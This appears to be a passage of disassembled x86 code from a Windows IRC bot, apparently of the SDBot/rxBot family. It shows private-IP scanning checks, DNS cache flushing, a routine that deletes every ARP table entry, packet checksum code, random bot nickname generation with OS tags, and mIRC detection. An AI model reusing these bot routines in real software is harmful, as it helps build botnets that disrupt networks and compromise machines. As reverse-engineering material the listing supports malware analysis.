		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_40C578:				; CODE XREF: sub_40C219+329j
		push	offset unk_444FF4
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_C], 0
		jnz	short loc_40C5AB
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_40C5AB:				; CODE XREF: sub_40C219+376j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4173DC
		pop	ecx
		leave
		retn
sub_40C219	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		cmp	dword ptr [ebp+8], 0
		jz	loc_40C66C
		push	offset dword_4E1844
		push	dword ptr [ebp+8]
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40C66C
		push	20h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-24h]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		push	offset a__3	; "."
		lea	eax, [ebp-24h]
		push	eax
		call	sub_4227D0
		pop	ecx
		pop	ecx
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40C66C
		push	dword ptr [ebp-4]
		call	sub_421670
		pop	ecx
		mov	[ebp-28h], eax
		push	offset a__4	; "."
		push	0
		call	sub_4227D0
		pop	ecx
		pop	ecx
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40C66C
		push	dword ptr [ebp-4]
		call	sub_421670
		pop	ecx
		mov	[ebp-2Ch], eax
		cmp	dword ptr [ebp-28h], 0Ah
		jz	short loc_40C667
		cmp	dword ptr [ebp-28h], 0ACh
		jnz	short loc_40C655
		cmp	dword ptr [ebp-2Ch], 0Fh
		jle	short loc_40C655
		cmp	dword ptr [ebp-2Ch], 20h
		jl	short loc_40C667


loc_40C655:				; CODE XREF: .XComp0:0040C647j
					; .XComp0:0040C64Dj
		cmp	dword ptr [ebp-28h], 0C0h
		jnz	short loc_40C66C
		cmp	dword ptr [ebp-2Ch], 0A8h
		jnz	short loc_40C66C


loc_40C667:				; CODE XREF: .XComp0:0040C63Ej
					; .XComp0:0040C653j
		push	1
		pop	eax
		jmp	short locret_40C66E
; ---------------------------------------------------------------------------


loc_40C66C:				; CODE XREF: .XComp0:0040C5C4j
					; .XComp0:0040C5DBj ...
		xor	eax, eax

locret_40C66E:				; CODE XREF: .XComp0:0040C66Aj
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C670	proc near		; CODE XREF: sub_401DEC+6Ap
					; sub_4021E5+7E66p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	dword_4E1740	; inet_addr
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_40C6AB
		push	[ebp+arg_0]
		call	dword_4E1784	; gethostbyname
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40C69E
		or	eax, 0FFFFFFFFh
		jmp	short locret_40C6AE
; ---------------------------------------------------------------------------


loc_40C69E:				; CODE XREF: sub_40C670+27j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax


loc_40C6AB:				; CODE XREF: sub_40C670+15j
		mov	eax, [ebp+var_4]

locret_40C6AE:				; CODE XREF: sub_40C670+2Cj
		leave
		retn
sub_40C670	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C6B0	proc near		; CODE XREF: sub_401DEC+128p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		cmp	dword_4E161C, 0
		jz	short loc_40C6CA
		call	dword_4E161C	; DnsFlushResolverCache
		mov	[ebp+var_4], eax


loc_40C6CA:				; CODE XREF: sub_40C6B0+Fj
		mov	eax, [ebp+var_4]
		leave
		retn
sub_40C6B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C6CF	proc near		; CODE XREF: sub_4021E5:loc_405581p

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		and	[ebp+var_90], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		push	1
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		call	dword_4E177C	; GetIpNetTable
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_98], eax
		cmp	[ebp+var_98], 0
		jz	short loc_40C738
		cmp	[ebp+var_98], 32h
		jz	loc_40C7D2
		cmp	[ebp+var_98], 7Ah
		jz	short loc_40C73D
		cmp	[ebp+var_98], 0E8h
		jz	loc_40C7B9
		jmp	loc_40C7EB
; ---------------------------------------------------------------------------


loc_40C738:				; CODE XREF: sub_40C6CF+3Cj
		jmp	loc_40C806
; ---------------------------------------------------------------------------


loc_40C73D:				; CODE XREF: sub_40C6CF+52j
		push	[ebp+var_C]
		call	sub_41EDA0
		pop	ecx
		mov	[ebp+var_90], eax
		push	[ebp+var_C]
		push	0
		push	[ebp+var_90]
		call	sub_421410
		add	esp, 0Ch
		cmp	[ebp+var_90], 0
		jz	short loc_40C7A0
		push	1
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_90]
		call	dword_4E177C	; GetIpNetTable
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_40C79E
		push	[ebp+var_4]
		push	offset unk_44501C
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		and	[ebp+var_8], 0


loc_40C79E:				; CODE XREF: sub_40C6CF+B2j
		jmp	short loc_40C7B7
; ---------------------------------------------------------------------------


loc_40C7A0:				; CODE XREF: sub_40C6CF+97j
		push	offset unk_445048
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		and	[ebp+var_8], 0


loc_40C7B7:				; CODE XREF: sub_40C6CF:loc_40C79Ej
		jmp	short loc_40C806
; ---------------------------------------------------------------------------


loc_40C7B9:				; CODE XREF: sub_40C6CF+5Ej
		push	offset unk_445078
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		and	[ebp+var_8], 0
		jmp	short loc_40C806
; ---------------------------------------------------------------------------


loc_40C7D2:				; CODE XREF: sub_40C6CF+45j
		push	offset unk_44509C
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		and	[ebp+var_8], 0
		jmp	short loc_40C806
; ---------------------------------------------------------------------------


loc_40C7EB:				; CODE XREF: sub_40C6CF+64j
		push	[ebp+var_4]
		push	offset unk_4450CC
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		and	[ebp+var_8], 0


loc_40C806:				; CODE XREF: sub_40C6CF:loc_40C738j
					; sub_40C6CF:loc_40C7B7j ...
		cmp	[ebp+var_8], 0
		jz	short loc_40C850
		and	[ebp+var_94], 0
		jmp	short loc_40C822
; ---------------------------------------------------------------------------


loc_40C815:				; CODE XREF: sub_40C6CF+17Dj
		mov	eax, [ebp+var_94]
		inc	eax
		mov	[ebp+var_94], eax


loc_40C822:				; CODE XREF: sub_40C6CF+144j
		mov	eax, [ebp+var_90]
		mov	ecx, [ebp+var_94]
		cmp	ecx, [eax]
		jnb	short loc_40C84E
		mov	eax, [ebp+var_94]
		imul	eax, 18h
		mov	ecx, [ebp+var_90]
		lea	eax, [ecx+eax+4]
		push	eax
		call	dword_4E1778	; DeleteIpNetEntry
		jmp	short loc_40C815
; ---------------------------------------------------------------------------


loc_40C84E:				; CODE XREF: sub_40C6CF+161j
		jmp	short loc_40C85D
; ---------------------------------------------------------------------------


loc_40C850:				; CODE XREF: sub_40C6CF+13Bj
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_40C85D:				; CODE XREF: sub_40C6CF:loc_40C84Ej
		push	[ebp+var_90]
		call	sub_41F930
		pop	ecx
		mov	eax, [ebp+var_8]
		leave
		retn
sub_40C6CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C86E	proc near		; CODE XREF: sub_4021E5+1DE0p
					; sub_4021E5+3724p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_14], 10h
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E16A4	; getsockname
		movzx	eax, [ebp+var_9]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_B]
		push	eax
		movzx	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_4E1830
		call	sub_4219C0
		add	esp, 18h
		mov	eax, offset dword_4E1830
		leave
		retn
sub_40C86E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8C9	proc near		; CODE XREF: .XComp0:0040EB09p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0


loc_40C8D1:				; CODE XREF: sub_40C8C9+2Cj
		cmp	[ebp+arg_4], 1
		jle	short loc_40C8F7
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_40C8D1
; ---------------------------------------------------------------------------


loc_40C8F7:				; CODE XREF: sub_40C8C9+Cj
		cmp	[ebp+arg_4], 0
		jz	short loc_40C90B
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx


loc_40C90B:				; CODE XREF: sub_40C8C9+32j
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFh
		add	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		not	eax
		leave
		retn
sub_40C8C9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	dword ptr [ebp-4], 0
		and	word ptr [ebp-8], 0
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-10h], eax


loc_40C94F:				; CODE XREF: .XComp0:0040C973j
		cmp	dword ptr [ebp-10h], 1
		jle	short loc_40C975
		mov	eax, [ebp-0Ch]
		movzx	eax, word ptr [eax]
		mov	ecx, [ebp-4]
		add	ecx, eax
		mov	[ebp-4], ecx
		mov	eax, [ebp-0Ch]
		inc	eax
		inc	eax
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-10h]
		dec	eax
		dec	eax
		mov	[ebp-10h], eax
		jmp	short loc_40C94F
; ---------------------------------------------------------------------------


loc_40C975:				; CODE XREF: .XComp0:0040C953j
		cmp	dword ptr [ebp-10h], 1
		jnz	short loc_40C98F
		mov	eax, [ebp-0Ch]
		mov	al, [eax]
		mov	[ebp-8], al
		movzx	eax, word ptr [ebp-8]
		mov	ecx, [ebp-4]
		add	ecx, eax
		mov	[ebp-4], ecx


loc_40C98F:				; CODE XREF: .XComp0:0040C979j
		mov	eax, [ebp-4]
		sar	eax, 10h
		mov	ecx, [ebp-4]
		and	ecx, 0FFFFh
		add	eax, ecx
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		sar	eax, 10h
		mov	ecx, [ebp-4]
		add	ecx, eax
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		not	eax
		mov	[ebp-8], ax
		mov	ax, [ebp-8]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9C0	proc near		; CODE XREF: sub_40CE78+65p
					; DATA XREF: .XComp0:off_445118o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		nop
		call	near ptr 27D079Eh
		push	eax
		call	sub_421AC0
		pop	ecx
		call	sub_421AD0
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		push	off_445180[edx*4]
		push	offset aS_30	; "%s"
		push	1Ch
		push	[ebp+arg_0]
		call	sub_421B90
		add	esp, 10h
		and	[ebp+var_4], 0
		jmp	short loc_40CA05
; ---------------------------------------------------------------------------


loc_40C9FE:				; CODE XREF: sub_40C9C0+71j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40CA05:				; CODE XREF: sub_40C9C0+3Cj
		mov	eax, [ebp+var_4]
		cmp	eax, dword_441094
		jge	short loc_40CA33
		call	sub_421AD0
		cdq
		push	0Ah
		pop	ecx
		idiv	ecx
		push	edx
		push	[ebp+arg_0]
		push	offset aSI	; "%s%i"
		push	1Ch
		push	[ebp+arg_0]
		call	sub_421B90
		add	esp, 14h
		jmp	short loc_40C9FE
; ---------------------------------------------------------------------------


loc_40CA33:				; CODE XREF: sub_40C9C0+4Ej
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40C9C0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		call	near ptr 27D079Eh
		nop
		push	eax
		call	sub_421AC0
		pop	ecx
		push	offset aXxxxx	; "[XxXxX]"
		push	offset aS_31	; "%s"
		push	1Ch
		push	dword ptr [ebp+8]
		call	sub_421B90
		add	esp, 10h
		and	dword ptr [ebp-4], 0
		jmp	short loc_40CA6D
; ---------------------------------------------------------------------------


loc_40CA66:				; CODE XREF: .XComp0:0040CA99j
		mov	eax, [ebp-4]
		inc	eax
		mov	[ebp-4], eax


loc_40CA6D:				; CODE XREF: .XComp0:0040CA64j
		mov	eax, [ebp-4]
		cmp	eax, dword_441094
		jge	short loc_40CA9B
		call	sub_421AD0
		cdq
		push	0Ah
		pop	ecx
		idiv	ecx
		push	edx
		push	dword ptr [ebp+8]
		push	offset aSI_0	; "%s%i"
		push	1Ch
		push	dword ptr [ebp+8]
		call	sub_421B90
		add	esp, 14h
		jmp	short loc_40CA66
; ---------------------------------------------------------------------------


loc_40CA9B:				; CODE XREF: .XComp0:0040CA76j
		mov	eax, [ebp+8]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAA0	proc near		; CODE XREF: sub_4021E5+6C41p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		nop
		call	near ptr 27D079Eh
		push	eax
		call	sub_421AC0
		pop	ecx
		call	sub_421AD0
		cdq
		push	3
		pop	ecx
		idiv	ecx
		add	edx, dword_441094
		mov	[ebp+var_8], edx
		and	[ebp+var_4], 0
		jmp	short loc_40CAD3
; ---------------------------------------------------------------------------


loc_40CACC:				; CODE XREF: sub_40CAA0+51j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40CAD3:				; CODE XREF: sub_40CAA0+2Aj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short loc_40CAF3
		call	sub_421AD0
		cdq
		push	1Ah
		pop	ecx
		idiv	ecx
		add	edx, 61h
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], dl
		jmp	short loc_40CACC
; ---------------------------------------------------------------------------


loc_40CAF3:				; CODE XREF: sub_40CAA0+39j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40CAA0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	dword ptr [ebp-8], offset aPc ;	"PC"
		mov	dword ptr [ebp-4], 100h
		and	dword ptr [ebp-10h], 0
		nop
		call	near ptr 27D079Eh
		push	eax
		call	sub_421AC0
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2800000h
		test	eax, eax
		jnz	short loc_40CB3E
		mov	dword ptr [ebp-8], offset aPc_0	; "PC"


loc_40CB3E:				; CODE XREF: .XComp0:0040CB35j
		mov	dword ptr [ebp-0Ch], 41h
		jmp	short loc_40CB4E
; ---------------------------------------------------------------------------


loc_40CB47:				; CODE XREF: .XComp0:loc_40CB66j
		mov	eax, [ebp-0Ch]
		inc	eax
		mov	[ebp-0Ch], eax


loc_40CB4E:				; CODE XREF: .XComp0:0040CB45j
		cmp	dword ptr [ebp-0Ch], 5Bh
		jge	short loc_40CB68
		mov	eax, [ebp-8]
		movsx	eax, byte ptr [eax]
		cmp	eax, [ebp-0Ch]
		jnz	short loc_40CB66
		mov	dword ptr [ebp-10h], 1


loc_40CB66:				; CODE XREF: .XComp0:0040CB5Dj
		jmp	short loc_40CB47
; ---------------------------------------------------------------------------


loc_40CB68:				; CODE XREF: .XComp0:0040CB52j
		mov	dword ptr [ebp-0Ch], 61h
		jmp	short loc_40CB78
; ---------------------------------------------------------------------------


loc_40CB71:				; CODE XREF: .XComp0:loc_40CB90j
		mov	eax, [ebp-0Ch]
		inc	eax
		mov	[ebp-0Ch], eax


loc_40CB78:				; CODE XREF: .XComp0:0040CB6Fj
		cmp	dword ptr [ebp-0Ch], 7Bh
		jge	short loc_40CB92
		mov	eax, [ebp-8]
		movsx	eax, byte ptr [eax]
		cmp	eax, [ebp-0Ch]
		jnz	short loc_40CB90
		mov	dword ptr [ebp-10h], 1


loc_40CB90:				; CODE XREF: .XComp0:0040CB87j
		jmp	short loc_40CB71
; ---------------------------------------------------------------------------


loc_40CB92:				; CODE XREF: .XComp0:0040CB7Cj
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_40CB9F
		mov	dword ptr [ebp-8], offset aPc_1	; "PC"


loc_40CB9F:				; CODE XREF: .XComp0:0040CB96j
		push	dword ptr [ebp-8]
		push	1Ch
		push	dword ptr [ebp+8]
		call	sub_421B90
		add	esp, 0Ch
		and	dword ptr [ebp-0Ch], 0
		jmp	short loc_40CBBC
; ---------------------------------------------------------------------------


loc_40CBB5:				; CODE XREF: .XComp0:0040CBE8j
		mov	eax, [ebp-0Ch]
		inc	eax
		mov	[ebp-0Ch], eax


loc_40CBBC:				; CODE XREF: .XComp0:0040CBB3j
		mov	eax, [ebp-0Ch]
		cmp	eax, dword_441094
		jge	short loc_40CBEA
		call	sub_421AD0
		cdq
		push	0Ah
		pop	ecx
		idiv	ecx
		push	edx
		push	dword ptr [ebp+8]
		push	offset aSI_1	; "%s%i"
		push	1Ch
		push	dword ptr [ebp+8]
		call	sub_421B90
		add	esp, 14h
		jmp	short loc_40CBB5
; ---------------------------------------------------------------------------


loc_40CBEA:				; CODE XREF: .XComp0:0040CBC5j
		mov	eax, [ebp+8]
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		nop
		call	near ptr 27D079Eh
		push	eax
		call	sub_421AC0
		pop	ecx
		push	0Ah
		lea	eax, [ebp-0Ch]
		push	eax
		push	7
		push	800h
		call	near ptr 2810000h
		nop
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset aS_32	; "%s|"
		push	1Ch
		push	dword ptr [ebp+8]
		call	sub_421B90
		add	esp, 10h
		and	dword ptr [ebp-10h], 0
		jmp	short loc_40CC38
; ---------------------------------------------------------------------------


loc_40CC31:				; CODE XREF: .XComp0:0040CC64j
		mov	eax, [ebp-10h]
		inc	eax
		mov	[ebp-10h], eax


loc_40CC38:				; CODE XREF: .XComp0:0040CC2Fj
		mov	eax, [ebp-10h]
		cmp	eax, dword_441094
		jge	short loc_40CC66
		call	sub_421AD0
		cdq
		push	0Ah
		pop	ecx
		idiv	ecx
		push	edx
		push	dword ptr [ebp+8]
		push	offset aSI_2	; "%s%i"
		push	1Ch
		push	dword ptr [ebp+8]
		call	sub_421B90
		add	esp, 14h
		jmp	short loc_40CC31
; ---------------------------------------------------------------------------


loc_40CC66:				; CODE XREF: .XComp0:0040CC41j
		mov	eax, [ebp+8]
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 9Ch
		mov	dword ptr [ebp-4], offset dword_4E184C
		mov	dword ptr [ebp-9Ch], 94h
		lea	eax, [ebp-9Ch]
		push	eax
		call	near ptr 2820000h
		nop
		call	near ptr 27D079Eh
		nop
		push	eax
		call	sub_421AC0
		pop	ecx
		cmp	dword ptr [ebp-98h], 4
		jnz	short loc_40CCD6
		cmp	dword ptr [ebp-94h], 0
		jnz	short loc_40CCD6
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40CCC1
		mov	dword ptr [ebp-4], offset a95 ;	"95"


loc_40CCC1:				; CODE XREF: .XComp0:0040CCB8j
		cmp	dword ptr [ebp-8Ch], 2
		jnz	short loc_40CCD1
		mov	dword ptr [ebp-4], offset aNt ;	"NT"


loc_40CCD1:				; CODE XREF: .XComp0:0040CCC8j
		jmp	loc_40CD64
; ---------------------------------------------------------------------------


loc_40CCD6:				; CODE XREF: .XComp0:0040CCA6j
					; .XComp0:0040CCAFj
		cmp	dword ptr [ebp-98h], 4
		jnz	short loc_40CCF1
		cmp	dword ptr [ebp-94h], 0Ah
		jnz	short loc_40CCF1
		mov	dword ptr [ebp-4], offset a98 ;	"98"
		jmp	short loc_40CD64
; ---------------------------------------------------------------------------


loc_40CCF1:				; CODE XREF: .XComp0:0040CCDDj
					; .XComp0:0040CCE6j
		cmp	dword ptr [ebp-98h], 4
		jnz	short loc_40CD0C
		cmp	dword ptr [ebp-94h], 5Ah
		jnz	short loc_40CD0C
		mov	dword ptr [ebp-4], offset aMe_0	; "ME"
		jmp	short loc_40CD64
; ---------------------------------------------------------------------------


loc_40CD0C:				; CODE XREF: .XComp0:0040CCF8j
					; .XComp0:0040CD01j
		cmp	dword ptr [ebp-98h], 5
		jnz	short loc_40CD27
		cmp	dword ptr [ebp-94h], 0
		jnz	short loc_40CD27
		mov	dword ptr [ebp-4], offset a2k ;	"2K"
		jmp	short loc_40CD64
; ---------------------------------------------------------------------------


loc_40CD27:				; CODE XREF: .XComp0:0040CD13j
					; .XComp0:0040CD1Cj
		cmp	dword ptr [ebp-98h], 5
		jnz	short loc_40CD42
		cmp	dword ptr [ebp-94h], 1
		jnz	short loc_40CD42
		mov	dword ptr [ebp-4], offset aXp_1	; "XP"
		jmp	short loc_40CD64
; ---------------------------------------------------------------------------


loc_40CD42:				; CODE XREF: .XComp0:0040CD2Ej
					; .XComp0:0040CD37j
		cmp	dword ptr [ebp-98h], 5
		jnz	short loc_40CD5D
		cmp	dword ptr [ebp-94h], 2
		jnz	short loc_40CD5D
		mov	dword ptr [ebp-4], offset a2k3 ; "2K3"
		jmp	short loc_40CD64
; ---------------------------------------------------------------------------


loc_40CD5D:				; CODE XREF: .XComp0:0040CD49j
					; .XComp0:0040CD52j
		mov	dword ptr [ebp-4], offset a???_0 ; "???"


loc_40CD64:				; CODE XREF: .XComp0:loc_40CCD1j
					; .XComp0:0040CCEFj ...
		push	dword ptr [ebp-4]
		push	offset aS_33	; "[%s]|"
		push	1Ch
		push	dword ptr [ebp+8]
		call	sub_421B90
		add	esp, 10h
		and	dword ptr [ebp-8], 0
		jmp	short loc_40CD86
; ---------------------------------------------------------------------------


loc_40CD7F:				; CODE XREF: .XComp0:0040CDB2j
		mov	eax, [ebp-8]
		inc	eax
		mov	[ebp-8], eax


loc_40CD86:				; CODE XREF: .XComp0:0040CD7Dj
		mov	eax, [ebp-8]
		cmp	eax, dword_441094
		jge	short loc_40CDB4
		call	sub_421AD0
		cdq
		push	0Ah
		pop	ecx
		idiv	ecx
		push	edx
		push	dword ptr [ebp+8]
		push	offset aSI_3	; "%s%i"
		push	1Ch
		push	dword ptr [ebp+8]
		call	sub_421B90
		add	esp, 14h
		jmp	short loc_40CD7F
; ---------------------------------------------------------------------------


loc_40CDB4:				; CODE XREF: .XComp0:0040CD8Fj
		mov	eax, [ebp+8]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CDB9	proc near		; CODE XREF: sub_40CE78+79p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		call	near ptr 27D079Eh
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 64h
		jbe	short loc_40CE13
		push	0
		push	offset aMirc_0	; "mIRC"
		call	dword_4E170C	; FindWindowA
		test	eax, eax
		jz	short loc_40CDF1
		mov	[ebp+var_24], offset off_448E58
		jmp	short loc_40CDF8
; ---------------------------------------------------------------------------


loc_40CDF1:				; CODE XREF: sub_40CDB9+2Dj
		mov	[ebp+var_24], offset dword_4E1850


loc_40CDF8:				; CODE XREF: sub_40CDB9+36j
		push	[ebp+var_24]
		push	[ebp+var_20]
		push	offset dword_448E5C
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_421B90
		add	esp, 14h
		jmp	short loc_40CE42
; ---------------------------------------------------------------------------


loc_40CE13:				; CODE XREF: sub_40CDB9+1Cj
		push	0
		push	offset aMirc_1	; "mIRC"
		call	dword_4E170C	; FindWindowA
		test	eax, eax
		jz	short loc_40CE2D
		mov	[ebp+var_28], offset off_448E6C
		jmp	short loc_40CE34
; ---------------------------------------------------------------------------


loc_40CE2D:				; CODE XREF: sub_40CDB9+69j
		mov	[ebp+var_28], offset dword_4E1854


loc_40CE34:				; CODE XREF: sub_40CDB9+72j
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_40CE42:				; CODE XREF: sub_40CDB9+58j
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41EBD0
		pop	ecx
		cmp	eax, 2
		jbe	short loc_40CE73
		push	1Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422A20
		add	esp, 0Ch
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_0]
		call	sub_421470
		add	esp, 0Ch


loc_40CE73:				; CODE XREF: sub_40CDB9+96j
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40CDB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE78	proc near		; CODE XREF: sub_401DEC+AEp
					; sub_401FD0+73p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_4], 0
		jmp	short loc_40CE8B
; ---------------------------------------------------------------------------


loc_40CE84:				; CODE XREF: sub_40CE78:loc_40CEE6j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40CE8B:				; CODE XREF: sub_40CE78+Aj
		cmp	[ebp+var_4], 6
		jnb	short loc_40CEE8
		cmp	[ebp+arg_C], 0
		jz	short loc_40CEB7
		mov	eax, [ebp+var_4]
		imul	eax, 14h
		add	eax, offset aReal ; "real"
		push	eax
		push	[ebp+arg_C]
		call	sub_422740
		pop	ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40CECE
; ---------------------------------------------------------------------------


loc_40CEB7:				; CODE XREF: sub_40CE78+1Dj
		mov	eax, [ebp+var_4]
		imul	eax, 14h
		mov	eax, dword_445114[eax]
		sub	eax, [ebp+arg_4]
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_8], eax


loc_40CECE:				; CODE XREF: sub_40CE78+3Dj
		cmp	[ebp+var_8], 0
		jz	short loc_40CEE6
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		imul	eax, 14h
		call	off_445118[eax]
		pop	ecx
		jmp	short loc_40CEE8
; ---------------------------------------------------------------------------


loc_40CEE6:				; CODE XREF: sub_40CE78+5Aj
		jmp	short loc_40CE84
; ---------------------------------------------------------------------------


loc_40CEE8:				; CODE XREF: sub_40CE78+17j
					; sub_40CE78+6Cj
		cmp	[ebp+arg_8], 0
		jz	short loc_40CEFC
